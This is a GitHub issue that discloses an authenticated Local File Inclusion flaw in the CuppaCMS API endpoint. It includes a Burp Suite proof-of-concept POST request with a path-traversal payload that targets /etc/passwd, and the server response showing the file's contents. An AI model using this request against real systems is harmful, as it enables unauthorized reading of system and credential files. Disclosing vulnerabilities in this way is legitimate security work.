



New issue

[Jump to bottom](#)

Authenticated Local File Inclusion vulnerability in cuppa api. #20

 **Open**  badru8612 opened this issue on Jan 24 · 0 comments

badru8612 commented on Jan 24 • edited ▼

There is a serious Local File Inclusion vulnerability exists in "[cuppa/api/index.php](#)" via POST requests "function" parameter.

PoC:

BurpProjectIntruderRepeaterWindowLogger++Help

DecoderComparatorLoggerExtenderProject optionsUser optionsLearnRequest TimerLogger++JSON Web Tokens

DashbaordTargetProxyIntruderRepeaterSequencer

1 x ...
SendCancel<>Target: http://192.168.10.115HTTP/1?

Request

PrettyRawHex\n≡

```
1 POST /cuppa/api/index.php HTTP/1.1  
2 Host: 192.168.10.115  
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
5 Accept-Language: en-US,en;q=0.5  
6 Accept-Encoding: gzip, deflate  
7 Connection: close  
8 Cookie: country=s; language=en; PHPSESSID=qk6618oj3rsO3pjafi4all8ubu;  
   administrator_path=http%3A%2F%2F192.168.10.115%2Fcuppa%2F;  
   administrator_document_path=%2Fcuppa%2F  
9 key: gbmZ48tzylfxBPqpQB3eLbnGFPQQLdS  
10 Upgrade-Insecure-Requests: 1  
11 Content-Type: application/x-www-form-urlencoded  
12 Content-Length: 115  
13  
14 function=  
15 .....  
.....  
.....etc/passwd/
```

Response

PrettyRawHexRender\n≡

```
1 HTTP/1.1 200 OK  
2 Date: Sat, 22 Jan 2022 05:13:10 GMT  
3 Server: Apache/2.4.38 (Debian)  
4 Set-Cookie: country=s; path=/  
5 Set-Cookie: language=en; path=/  
6 Expires: Thu, 19 Nov 1981 08:52:00 GMT  
7 Cache-Control: no-store, no-cache, must-revalidate  
8 Pragma: no-cache  
9 Access-Control-Allow-Origin: *  
10 Access-Control-Allow-Headers: key  
11 Vary: Accept-Encoding  
12 Content-Length: 2193  
13 Connection: close  
14 Content-Type: text/html; charset=UTF-8  
15  
16 root:x:0:0:root:/root:/bin/bash  
17 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
18 bin:x:2:2:bin:/bin:/usr/sbin/nologin  
19 sys:x:3:3:sys:/dev:/usr/sbin/nologin  
20 sync:x:4:65534:sync:/bin:/bin/sync  
21 games:x:5:60:games:/usr/games:/usr/sbin/nologin  
22 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
23 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
24 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
25 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
26 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
27 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
28 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
29 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
30 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
31 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
32 gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin  
33 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
34 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin  
35 system-timesync:x:101:102:system Time Synchronization,,,:/run/systemd:/usr/sbin/no  
36 systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nolog  
37 systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin  
38 messagebus:x:104:110::/nonexistent:/usr/sbin/nologin  
39 tss:x:105:111:TPM2 software stack,,:/var/lib/tpm/bin/false  
40 dnsmasq:x:106:65534:dnsmasq,,:/var/lib/misc:/usr/sbin/nologin  
41 ushmux:x:107:46:ushmux.daemon,,:/var/lib/ushmux:/usr/sbin/nologin
```

Reference: <https://github.com/badru8612/CuppaCMS-Authenticated-LFI-Vulnerability>

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

